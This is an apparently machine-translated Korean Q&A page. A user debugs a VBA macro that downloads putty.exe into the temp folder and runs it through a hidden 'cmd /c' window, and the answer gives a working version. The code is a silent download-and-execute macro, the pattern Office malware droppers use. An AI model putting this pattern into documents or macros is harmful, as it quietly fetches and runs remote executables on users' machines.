컴파일 오류는 매크로 단어로만 vbs입니까?

Question

다운로드를하고 매크로를 실행하려고했습니다. 나는 VB 코드를 끝내고 잘 돌아갔다. 그런 다음 매크로를 일부 서브 시스템에 넣고 매크로로 실행하려고 시도했다. 오류가 발생합니다.

Compile error, Syntax Error: objXMLHTTP.send()

매크로로 만 오류가 발생합니다. 여기

는 전체 코드입니다 :

Sub macro() 
    Const ADTYPEBINARY = 1 
    Const ADSAVECREATEOVERWRITE = 2 

    Dim xHttp 
    Dim bStrm 
    Dim filename 
    Dim fso 

    Set fso = CreateObject("Scripting.FileSystemObject") 
    Dim tempfolder 
    Const TemporaryFolder = 2 
    Set tempfolder = fso.GetSpecialFolder(TemporaryFolder) 
    strFileURL = "ftp://username:pass@ftpserver.com/putty.exe" 
    strHDLocation = tempfolder & "/putty.exe" 

    Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") 

    objXMLHTTP.Open "GET", strFileURL, False 

    objXMLHTTP.send() 

    If objXMLHTTP.Status = 200 Then 
    Set objADOStream = CreateObject("ADODB.Stream") 
    objADOStream.Open 
    objADOStream.Type = 1 'adTypeBinary 
    Else 
    Set objADOStream = CreateObject("ADODB.Stream") 
    objADOStream.Open 
    objADOStream.Type = 1 'adTypeBinary 

    objADOStream.Write objXMLHTTP.ResponseBody 
    objADOStream.Position = 0 'Set the stream position to the start 

    Set objFSO = CreateObject("Scripting.FileSystemObject") 
    If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation 
    Set objFSO = Nothing 

    objADOStream.SaveToFile strHDLocation 
    objADOStream.Close 
    Set objADOStream = Nothing 
    End If 

    Set objXMLHTTP = Nothing 

    Set objShell = WScript.CreateObject("WScript.Shell") 
    objShell.Run "cmd /c " & tempfolder & "/putty.exe", 0, True 
End Sub 

Answer 1

덕분에 나는이 그것을 변경하고 그것을 잘 작동합니다 :

Sub book() 
    Set objShell = CreateObject("Wscript.Shell") 
    Dim fso 

    Set fso = CreateObject("Scripting.FileSystemObject") 
    Dim tempfolder 
    Const TemporaryFolder = 2 
    Set tempfolder = fso.GetSpecialFolder(TemporaryFolder) 

    Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP") 
    Dim bStrm: Set bStrm = CreateObject("Adodb.Stream") 
    xHttp.Open "GET", "https://the.earth.li/~sgtatham/putty/latest/x86/putty.exe", False 
    xHttp.Send 

    With bStrm 
     .Type = 1 '//binary 
     .Open 
     .Write xHttp.responseBody 
     .SaveTofile tempfolder & "/putty.exe", 2 '//overwrite 
    End With 

    objShell.Run "cmd /c " & tempfolder & "/putty.exe", 0, True 
End Sub